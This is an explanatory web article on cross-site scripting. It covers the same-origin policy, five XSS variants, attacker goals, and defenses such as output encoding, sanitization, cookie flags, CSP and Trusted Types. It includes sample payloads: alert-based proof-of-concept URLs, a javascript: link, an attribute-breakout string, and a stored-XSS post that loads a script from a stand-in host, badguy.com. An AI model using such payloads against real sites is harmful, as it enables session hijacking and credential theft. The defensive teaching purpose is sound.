
Cocojunk
🚀 Dive deep with CocoJunk – your destination for detailed, well-researched articles across science, technology, culture, and more. Explore knowledge that matters, explained in plain English.
Cross-site scripting
Read the original article here.
Okay, let's dive into the world of Cross-Site Scripting, framed within the context of "The Forbidden Code: Underground Programming Techniques They Won’t Teach You in School." Understanding XSS is crucial, not just for attackers, but fundamentally for defenders. It's a primary weapon in the web attacker's arsenal, and mastering its mechanics is the first step to building truly secure web applications.
Cross-Site Scripting (XSS): Bypassing Browser Trust
Welcome, aspiring digital architect, to a lesson from the shadows – techniques often learned through trial and error, experimentation, and unfortunately, exploitation. Today, we unveil the secrets of Cross-Site Scripting (XSS), a vulnerability that preys on the fundamental trust relationship between a user's browser and the websites they visit. While schools focus on building functionality, the underground teaches how subtle flaws can turn features into attack vectors.
Definition: Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious client-side scripts (typically JavaScript, but can include HTML, VBScript, Flash, etc.) into web pages viewed by other users. The injected code executes in the victim's browser within the security context of the vulnerable website.
Think of it this way: your browser trusts the code it receives from a legitimate website like mybank.com
. It executes this code, allows it access to cookies for mybank.com
, and renders the page according to its instructions. XSS exploits flaws that allow an attacker to sneak their code into the legitimate data stream from mybank.com
. When your browser receives this combined content, it sees all of it as coming from mybank.com
and executes the attacker's code with the same level of trust and permissions as the legitimate code. This is a critical bypass of security mechanisms designed to isolate content from different sources.
This type of vulnerability isn't new; it's been around since the 1990s and became increasingly prevalent as web applications grew more dynamic and interactive. It consistently ranks among the most common web security flaws, often overshadowing more "traditional" issues like buffer overflows in frequency.
The Foundation of Browser Security: The Same-Origin Policy (SOP)
To understand how XSS works, you must first grasp the concept it seeks to undermine: the Same-Origin Policy. This is a cornerstone of web security.
Definition: The Same-Origin Policy (SOP) is a fundamental security concept implemented by web browsers. It dictates that a web browser should allow scripts contained in a first web page to access data in a second web page only if both web pages have the same origin. An origin is defined by the combination of the URI scheme (protocol, e.g.,
http
,https
), host name (domain, e.g.,example.com
), and port number (e.g.,80
,443
).
In simpler terms, https://mybank.example.com:443
is considered a different origin from http://mybank.example.com:80
, https://otherbank.example.com:443
, or https://mybank.example.com:8080
. The SOP prevents a script running on badguy.com
from directly accessing sensitive data (like cookies, local storage, or DOM content) on mybank.com
, even if both sites are open in different tabs in the same browser.
XSS attacks work precisely because they manage to inject malicious script into the page served from the same origin as the sensitive data. The browser then enforces the SOP, saying, "Okay, this script came from mybank.com
, so it's allowed to access mybank.com
's cookies and page content." It doesn't know that the script was put there by an attacker. This is why XSS is classified as a type of code injection.
Initially, the term "cross-site scripting" referred specifically to an attack where a user was directed from one site (the attacker's site) to a vulnerable trusted site in a way that executed code. The term "cross-site" stuck, even as the definition expanded to include vulnerabilities where the injection happens entirely within a single site interaction, and even using non-JavaScript vectors. While slightly a misnomer now, the core concept of injecting code into a trusted context remains.
The Attack Landscape: Classifying XSS Vulnerabilities
While the lines can sometimes blur, XSS vulnerabilities are typically categorized based on how the malicious script arrives and is stored (or not stored) on the target server. Understanding these types is key to both exploitation and defense.
1. Non-Persistent (Reflected) XSS
This is arguably the most common and straightforward type, often serving as an entry point for learning XSS.
Definition: Reflected XSS occurs when malicious script injected into a web request is immediately reflected back in the server's response page without proper sanitization or encoding. The attacker must trick a victim into clicking a crafted link or submitting a crafted form to trigger the execution.
How it Works:
The vulnerable application takes user input directly from the HTTP request (like a URL query parameter, form field, or HTTP header) and includes it in the generated HTML response page. If this input is included without neutralizing characters that have special meaning in HTML or JavaScript (like <
, >
, "
, '
, &
), an attacker can insert tags or code that the browser will interpret as active content.
Example Scenario:
Imagine a search page at https://example.com/search
. When you search for kittens
, the URL might become https://example.com/search?query=kittens
, and the page displays "You searched for: kittens".
If the application is vulnerable, it might simply take the query
parameter and output it directly into the HTML like this:
<p>You searched for: kittens</p>
An attacker could craft a malicious URL:
https://example.com/search?query=<script>alert('XSS')</script>
If the server response includes this unescaped input:
<p>You searched for: <script>alert('XSS')</script></p>
When the victim's browser loads this page, it encounters the <script>
tag within the trusted example.com
domain. It executes the alert('XSS')
JavaScript code, popping up an alert box. This simple alert
is often used to prove a vulnerability exists. A real attack would replace alert('XSS')
with code to steal cookies, redirect the user, or perform other malicious actions.
Delivery: Reflected XSS attacks require the attacker to deliver the malicious link to the victim. This is commonly done via:
- Emails
- Instant messages
- Links on forums or social media
- Malicious advertisements
The key is that the attacker doesn't compromise the website's storage; they exploit its immediate processing of user input.
2. Persistent (Stored) XSS
This is generally considered more dangerous than reflected XSS because the malicious payload is stored on the vulnerable server and delivered to victims automatically without requiring a specific malicious link for each attack.
Definition: Stored XSS occurs when malicious script is permanently saved on the vulnerable server (e.g., in a database, file system, or backend data store) and is subsequently included in normal web pages served to other users.
How it Works: The attacker submits malicious data to the web application (e.g., a forum post, a comment, a user profile field, an uploaded file name). The application, failing to properly sanitize or validate this input, stores it. Later, when other users access the page that displays this stored data, the malicious script is retrieved from the server and executed in their browsers.
Example Scenario: Consider an online forum where users can post messages. If the forum application doesn't properly sanitize HTML within posts:
An attacker posts a message containing:
Hello everyone!<script src="https://badguy.com/malicious.js"></script>
The forum application stores this post in its database. When any user views this forum thread, the server retrieves the post content, includes it in the HTML of the page, and sends it to the user's browser:
<div class="post">
<p>Hello everyone!<script src="https://badguy.com/malicious.js"></script></p>
</div>
The victim's browser loads the page, sees the <script>
tag, and executes the JavaScript from https://badguy.com/malicious.js
within the security context of the forum's website. The malicious.js
script could then steal cookies, deface the page, insert phishing forms, or even attempt to propagate itself to other users (creating an XSS worm).
Impact: Stored XSS is potent because:
- It affects any user who views the compromised content.
- It requires no direct interaction from the attacker after the initial injection.
- Injection vectors can be diverse – any data input mechanism that gets stored and later displayed is a potential target (user profiles, comments, private messages, log entries, etc.).
The dating site example from the source material is a classic case. Mallory injects a script into her profile description. When Bob views her profile, the script runs, stealing his private information stored on the page within his browser's trusted session.
3. DOM-Based XSS
This type represents a shift in where the vulnerability originates – from server-side code generation to client-side script execution.
Definition: DOM-Based XSS occurs when malicious data does not touch the web server but is processed and executed by client-side JavaScript that modifies the Document Object Model (DOM) of the page based on user-controllable input (often from the URL fragment
#
or query parameters?
).
How it Works:
Instead of the vulnerability being in the server code that builds the HTML, it's in the client-side JavaScript code that runs in the browser after the page loads. This script reads some value from the page (like the URL, specifically the fragment identifier #
or query string) and then uses that value to dynamically update or write content back into the HTML DOM without properly sanitizing it.
Example Scenario:
A page uses JavaScript to display a personalized greeting based on a URL parameter:
https://example.com/greeting.html?name=Guest
The page's JavaScript might contain something like:
document.getElementById('greeting').innerHTML = "Hello, " + new URLSearchParams(window.location.search).get('name');
If the input is not sanitized before being written to innerHTML
, an attacker can craft a URL:
https://example.com/greeting.html?name=<script>alert('XSS')</script>
When the victim visits this URL, the browser loads the page. The JavaScript then reads the name
parameter from the URL and sets the innerHTML
of an element. The resulting HTML fragment becomes:
Hello, <script>alert('XSS')</script>
The browser parses this new HTML and executes the script. The malicious data never went to the server's application logic for processing; it was handled and reflected directly within the victim's browser by the client-side script.
Context: DOM-based XSS became more prevalent with the rise of dynamic Single-Page Applications (SPAs) built with JavaScript frameworks (like React, Angular, Vue) that heavily manipulate the DOM on the client side. While frameworks often provide built-in security features, misusing APIs or combining vulnerable older code can still create openings.
4. Self-XSS
This isn't a true site vulnerability in the traditional sense but relies entirely on social engineering.
Definition: Self-XSS is an attack that tricks a victim into executing malicious code themselves in their own browser, often by pasting it into the browser's developer console on a legitimate site. It relies on user gullibility rather than a flaw in the website's server-side or client-side code.
How it Works: An attacker convinces a user that they can achieve something desirable (e.g., hack a friend's account, get free currency in a game, unlock a hidden feature) by pasting some provided "code" into their browser's developer console while on a specific website (like a social media site). The "code" is actually a malicious JavaScript script that will run with the user's permissions on that site.
Example Scenario: An attacker messages someone on social media: "OMG, check out this trick! If you paste this code into your console on your profile page, you can see who viewed your profile! [paste malicious JS here] Just hit F12, go to Console tab, and paste this."
The malicious JS code, when executed, could steal the user's account cookies, post spam from their account, or perform other actions they are authorized to do.
Why it's "Self-XSS": The vulnerability isn't in the website allowing injection; it's in the user being tricked into executing code they provided. From the browser's perspective, the code is coming from the user themselves via the console, within the trusted origin. While not a site bug, it can lead to the same compromises as reflected or stored XSS if successful.
5. Mutated XSS (mXSS)
A more advanced and tricky variant that exploits the browser's parsing mechanisms.
Definition: Mutated XSS (mXSS) occurs when seemingly harmless or properly filtered input is modified by the browser's HTML parser in such a way that it becomes executable malicious code. This happens when the parser attempts to "fix" or interpret malformed or ambiguous HTML/CSS/JS constructs.
How it Works: Attackers craft input that, when initially processed by the server-side sanitizer or application logic, looks safe or is only partially cleaned. However, when the browser's HTML parser receives this output, its specific handling of broken or non-standard markup (like missing quotes, unbalanced tags, unusual character encodings) "mutates" the code into something executable.
Example Concepts:
- Injecting attributes with missing quotes (
<a href=javascript:alert('XSS')>Click</a>
). Some parsers might auto-correct or handle this in ways that enable execution. - Injecting incomplete tags that the parser completes in unexpected ways.
- Leveraging quirks in how browsers handle CSS expressions or exotic URL schemes when combined with parsing oddities.
Challenge: mXSS is hard to defend against because traditional server-side sanitization might deem the input safe based on its initial structure. The mutation happens later, inside the browser, outside the control of the server-side defense. It often requires deep understanding of specific browser parsing engine behaviors.
The Attacker's Objective: What Can Be Done?
Once an attacker successfully injects code via XSS, they gain the ability to perform actions within the victim's browser, operating with the victim's permissions on the vulnerable site. The potential consequences are significant:
- Session Hijacking (Stealing Cookies): The injected script can read cookies associated with the vulnerable site. If the site uses cookies for session management (which most do), the attacker can steal the session cookie and use it to impersonate the victim, gaining full access to their account without needing their password.
- Defacement: The script can alter the content of the page the victim sees, displaying fake information, malicious links, or embarrassing messages.
- Redirection: The attacker can redirect the victim to a phishing site or a site hosting malware.
- Keylogging: The script can listen for keyboard input on the page, potentially capturing passwords or other sensitive information typed by the victim.
- Phishing/Credential Harvesting: The script can inject a fake login form onto the legitimate page. Since the form appears on the trusted domain, victims are more likely to enter their credentials.
- Making Requests (CSRF-like actions): The script can make AJAX requests or submit forms on behalf of the user to the vulnerable site or other sites, performing actions the user is authorized to do (e.g., changing passwords, making purchases, sending messages). This can sometimes bypass Cross-Site Request Forgery (CSRF) protections.
- Accessing Browser/Device APIs: Depending on the context and browser features, the script might access other browser APIs or even device capabilities (though modern browsers have increasing restrictions here).
- Client-side Worms: In the case of stored XSS on social platforms, the script can be designed to automatically propagate itself by sending messages or posts containing the payload to the victim's contacts, who then become new victims. The Samy worm on MySpace in 2005 is a famous example.
The severity depends heavily on the sensitive data handled by the site and the actions a user can take. An XSS on a banking site is far more critical than on a simple blog (unless the blog is used for authentication or handles personal data).
Building Fortresses: Preventive Measures
Defending against XSS requires a multi-layered approach, focusing on the points where user-controlled data enters the application and where it is output back to the browser.
1. The Golden Rule: NEVER Trust User Input - Encode Everything on Output!
This is the single most important defense against most XSS types (Reflected, Stored). Any data received from a user (query strings, form data, cookies, HTTP headers, data from databases populated by users, etc.) must be treated as potentially malicious.
However, just validating input on arrival isn't enough. Attackers are clever and can often find ways to sneak malicious payloads past input filters. The robust defense is to neutralize the output right before it is rendered in the browser.
Concept: Output Encoding/Escaping is the process of converting characters that have special meaning in a specific context (like HTML markup, JavaScript code, CSS, or URLs) into their harmless, literal representation before including untrusted data in the output. This ensures the browser interprets the characters as data, not code.
Contextual Encoding: The correct encoding method depends entirely on where the untrusted data is being placed in the HTML document:
- HTML Body or Element Content: Use HTML Entity Encoding (
<
becomes<
,>
becomes>
,&
becomes&
,"
becomes"
,'
becomes'
). This prevents injected HTML tags or entities from being parsed as code.- Example: If user input is
<script>alert('XSS')</script>
, encode it to<script>alert('XSS')</script>
. The browser displays<script>alert('XSS')</script>
as text, not executable code.
- Example: If user input is
- HTML Attribute Values (within quotes): Use HTML Attribute Encoding. This is similar to HTML Entity encoding but might handle a slightly different set of characters depending on the attribute type and context.
- Example: If user input
"><script>alert('XSS')</script><"
is put into<input type="text" value="...">
, encoding it ensures it doesn't break out of thevalue
attribute.
- Example: If user input
- JavaScript Context (e.g., within
<script>
tags or event handlers): Use JavaScript Encoding. This involves escaping characters like\
,"
,'
, line breaks, and<
with their JavaScript escape sequences (\x
,\u
,\n
, etc.). This prevents injected code from breaking out of string literals or executing as new statements.- Example: If user input
'; alert('XSS'); var x='
is put into<script>var username = '...';</script>
, encode it to\';\x20alert(\'XSS\');\x20var\x20x=\'
. It remains a string.
- Example: If user input
- CSS Context (e.g., within
<style>
tags orstyle
attributes): Use CSS Encoding. This involves escaping characters like<
,>
,(
,)
, and#
with their CSS escape sequences (\xx
). This prevents injected CSS expressions or malicious imports. - URL Context (e.g., in
href
orsrc
attributes): Use URL (Percent) Encoding. This converts special characters into their percent-encoded form (%20
,<
becomes%3C
). This is crucial to prevent injection into URLs, especially those used dynamically in scripts or markup.
Key Takeaway: Use dedicated security encoding libraries or framework features that understand the context of where data is being outputted. Simple string replacements or encoding only the five XML entities (< > & " '
) are often insufficient and leave gaps.
2. Handling Rich HTML Input: Sanitization
What about applications that must allow some HTML from users, like forums or webmail clients (allowing bold text, links, etc.)? Encoding isn't an option here because the HTML needs to be rendered as HTML, not text.
Concept: HTML Sanitization is the process of carefully parsing user-provided HTML and removing or transforming any elements, attributes, or values that could be used for malicious purposes, while leaving legitimate HTML intact.
How it Works: Instead of encoding, you must use a robust HTML parser and a security policy (usually a whitelist). The parser understands the structure of the HTML and can identify executable content.
- Blacklisting (Bad): Attempting to remove only "bad" tags like
<script>
,<iframe>
,<object>
. This is notoriously insecure because attackers can use less obvious tags (<img>
,<a>
,<div>
) combined with malicious event handlers (onerror
,onload
,onclick
) or pseudo-protocols (javascript:
) in attributes. Obfuscation can also bypass simple string removal. - Whitelisting (Good): Defining a strict list of allowed tags (
<b>
,<i>
,<a>
,<p>
) and allowed attributes for each tag (href
for<a>
, but notonclick
). Any tag or attribute not on the whitelist is removed or stripped. This is much more secure as you explicitly permit what is known to be safe.
Implementation: Never attempt to build your own HTML sanitization from scratch using regular expressions or simple string functions. Use well-vetted, security-focused libraries or built-in framework features designed for this purpose (like OWASP's HTML Sanitizer or DOMPurify on the client-side, as mentioned in the source). These tools handle the complexities of parsing, malformed HTML, and various bypass techniques.
3. Securing Cookies: HttpOnly and SameSite
While not directly preventing the injection of XSS, these measures limit the damage an attacker can do once they've injected code, specifically targeting the common goal of session hijacking.
Concept: HttpOnly Cookie Flag: A flag set by the web server when creating a cookie. It instructs the browser that the cookie should only be accessible via HTTP requests and should be unavailable to client-side scripts (like JavaScript) running on the page.
Benefit: If an attacker successfully injects a script, it cannot use document.cookie
to read the session cookie marked as HttpOnly
. This significantly hinders session hijacking.
Limitation: HttpOnly doesn't stop all XSS attacks. The injected script can still perform actions using the user's session (like making AJAX requests or navigating) even if it can't read the cookie value itself. It also doesn't prevent other XSS payloads like keyloggers, defacement, or redirection.
Concept: SameSite Cookie Parameter: A parameter set by the web server when creating a cookie. It controls whether the browser should send the cookie along with cross-site requests.
Strict
: Cookie is never sent on cross-site requests (even clicking a link from another site).Lax
: Cookie is sent on cross-site requests only for "safe" HTTP methods (GET, OPTIONS, TRACE).None
: Cookie is sent on all cross-site requests (requires theSecure
flag).
Benefit: While primarily designed to mitigate CSRF, SameSite=Strict
or Lax
can also help prevent an injected script on one site from easily using cookies from another site via AJAX requests or redirects, potentially limiting complex multi-site XSS attack chains.
4. Controlling Script Execution: CSP
Going beyond just encoding data, Content Security Policy (CSP) allows developers to tell the browser where executable scripts are allowed to come from.
Definition: Content Security Policy (CSP) is an HTTP header (or HTML meta tag) that allows website administrators to specify approved sources of content (scripts, stylesheets, images, etc.) that a browser should be allowed to load and execute for a given page.
How it Works:
The server includes a Content-Security-Policy
header in the response (e.g., Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
). This policy tells the browser: "Only execute scripts that come from this domain ('self'
) or https://trusted-cdn.com
."
If an attacker injects a <script src="https://badguy.com/malicious.js"></script>
tag, the browser checks the CSP. Since https://badguy.com
is not in the approved script-src
list, the browser refuses to load and execute the script.
CSP policies can become complex, especially for sites using inline scripts (<script>alert('XSS')</script>
) or eval()
. Modern CSP recommends avoiding inline scripts and using nonces (cryptographic random numbers generated per request) or hashes to specifically authorize legitimate inline scripts or scripts loaded from specific sources.
Benefit: CSP acts as a strong second line of defense. Even if a server-side encoding flaw or client-side DOM vulnerability allows injecting <script>
tags or inline event handlers, a properly configured CSP can prevent the injected code from executing.
5. Emerging Defenses: Trusted Types
A more recent development aims to tackle DOM-based XSS at a deeper level by changing how browser APIs handle strings.
Definition: Trusted Types is a Web API that aims to prevent DOM-based XSS by requiring that values assigned to potentially unsafe DOM sinks (like
innerHTML
,script.src
,eval()
) are not simple strings but special "Trusted Type" objects. These objects can only be created by carefully reviewed and trusted code, ensuring the data they wrap has been properly sanitized or validated.
How it Works:
When Trusted Types is enabled for a page, attempting to assign a plain string directly to a dangerous DOM property like element.innerHTML
will cause a TypeError. Instead, you must use a function that returns a TrustedHTML
object (or TrustedScript
, TrustedScriptURL
, etc.). These functions are assumed to handle sanitization correctly.
// Without Trusted Types (Vulnerable)
element.innerHTML = userControlledString;
// With Trusted Types (Requires TrustedHTML)
// This will throw an error unless userControlledString is a TrustedHTML object
element.innerHTML = userControlledString;
// Correct way with Trusted Types using a trusted sanitizer function
import { sanitizeHtml } from './my-trusted-sanitizer'; // Assume this returns TrustedHTML
element.innerHTML = sanitizeHtml(userControlledString);
Benefit: Trusted Types aims to make DOM manipulation APIs safer by default, making it much harder for a malicious string to accidentally or intentionally end up in a place where it can execute code. It forces developers to explicitly use (and ideally audit) the code responsible for making strings "safe" for dangerous sinks.
6. User-Side Defenses (Browser Extensions)
While application developers should implement the primary defenses, users can add layers of protection. Browser extensions like NoScript (for Firefox) allow users to block JavaScript, Java, Flash, and other executable content by default and only selectively allow it for trusted sites. This effectively mitigates XSS if the attack relies on disabled content types. However, this significantly impacts website functionality and usability.
Notable Incidents
XSS vulnerabilities have plagued major websites, leading to significant breaches. The British Airways data breach in 2018, for example, involved attackers injecting a script into the airline's website and mobile app payment pages to steal customer credit card information. This highlights the severe real-world impact of these seemingly simple injection flaws.
Conclusion: The Forbidden Code is the Defensible Code
Understanding XSS from the attacker's perspective is not about embracing forbidden techniques; it's about recognizing the powerful capabilities that result from seemingly small programming errors. The underground teaches that input is never safe, and output is always suspect.
By mastering the principles of contextual output encoding, robust sanitization for rich content, smart use of cookie flags, and layered defenses like CSP and emerging Trusted Types, you gain the knowledge to build applications resilient to one of the web's oldest and most persistent threats. This isn't just about patching holes; it's about fundamentally changing how you handle data flow to prevent the malicious from ever executing within your users' trusted browser context.
Knowing how to attack allows you to defend effectively. Use this knowledge wisely.